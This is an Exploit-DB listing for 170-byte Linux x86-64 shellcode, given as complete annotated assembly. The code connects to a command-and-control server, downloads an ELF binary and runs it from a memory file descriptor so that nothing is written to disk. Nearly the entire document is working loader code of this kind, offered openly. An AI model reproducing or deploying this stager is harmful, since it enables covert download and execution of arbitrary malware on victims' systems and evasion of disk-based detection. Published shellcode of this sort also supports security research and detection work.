Linux/x64 - memfd_create ELF loader Shellcode (170 bytes)

EDB-ID:

51693

Size:

170 bytes


Platform:

Linux

Published:

2023-08-21

# Shellcode Title: Linux/x64 - memfd_create ELF loader (170 bytes)
# Shellcode Author: Ivan Nikolsky (enty8080) & Tomas Globis (tomasglgg)
# Tested on: Linux (x86_64)
# Shellcode Description: This shellcode attempts to establish reverse TCP connection, reads ELF length, reads ELF and maps it into the memory, creates memory file descriptor, writes loaded ELF to it and executes. This shellcode can be used for fileless ELF execution, because no data is writted to disk
# Blog post: https://blog.entysec.com/2023-04-02-remote-elf-loading/
# Original code: https://github.com/EntySec/Pawn

section .text
global _start

_start:
    ; Set up socket for further communication with C2
    ;
    ; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    push 0x29
    pop  rax
    cdq
    push 0x2
    pop  rdi
    push 0x1
    pop  rsi
    syscall

    ; Connect to the C2 server
    ;
    ; int connect(int sockfd, {
    ;                 sa_family=AF_INET,
    ;                 sin_port=htons(8888),
    ;                 sin_addr=inet_addr("127.0.0.1")
    ;             }, 16);

    xchg rdi, rax
    mov  rcx, 0x0100007fb8220002
    push rcx
    mov  rsi, rsp
    push 0x10
    pop  rdx
    push 0x2a
    pop  rax
    syscall

    ; Read ELF length from socket
    ;
    ; read(unsigned int fd, char *buf, 8);

    pop  rcx
    push 0x8
    pop  rdx
    push 0x0
    lea  rsi, [rsp]
    xor  rax, rax
    syscall

    ; Save length to r12 and socket descriptor to r13

    pop  r12
    push rdi
    pop  r13

    ; Create file descriptor for ELF file
    ;
    ; int memfd_create("", 0);

    xor  rax, rax
    push rax
    push rsp
    sub  rsp, 8
    mov  rdi, rsp
    push 0x13f
    pop  rax
    xor  rsi, rsi
    syscall

    ; Save file descriptor to r14

    push rax
    pop  r14

    ; Allocate memory space for ELF file
    ;
    ; void *mmap(NULL, size_t count,
    ;            PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

    push 0x9
    pop  rax
    xor  rdi, rdi
    push r12
    pop  rsi
    push 0x7
    pop  rdx
    xor  r9, r9
    push 0x22
    pop  r10
    syscall

    ; Save address to the allocated memory space to r15

    push rax
    pop  r15

    ; Read ELF file from socket
    ;
    ; recvfrom(int sockfd, void *buf, size_t count, MSG_WAITALL, NULL, 0);

    push 0x2d
    pop  rax
    push r13
    pop  rdi
    push r15
    pop  rsi
    push r12
    pop  rdx
    push 0x100
    pop  r10
    syscall

    ; Write read ELF file data to the file descriptor
    ;
    ; size_t write(unsigned int fd, const char *buf, size_t count);

    push 0x1
    pop  rax
    push r14
    pop  rdi
    push r12
    pop  rdx
    syscall

    ; Execute ELF from file descriptor
    ;
    ; int execveat(int dfd, const char *filename,
    ;              const char *const *argv,
    ;              const char *const *envp,
    ;              int flags);

    push 0x142
    pop  rax
    push r14
    pop  rdi
    push rsp
    sub  rsp, 8
    mov  rsi, rsp
    xor  r10, r10
    xor  rdx, rdx
    push 0x1000
    pop  r8
    syscall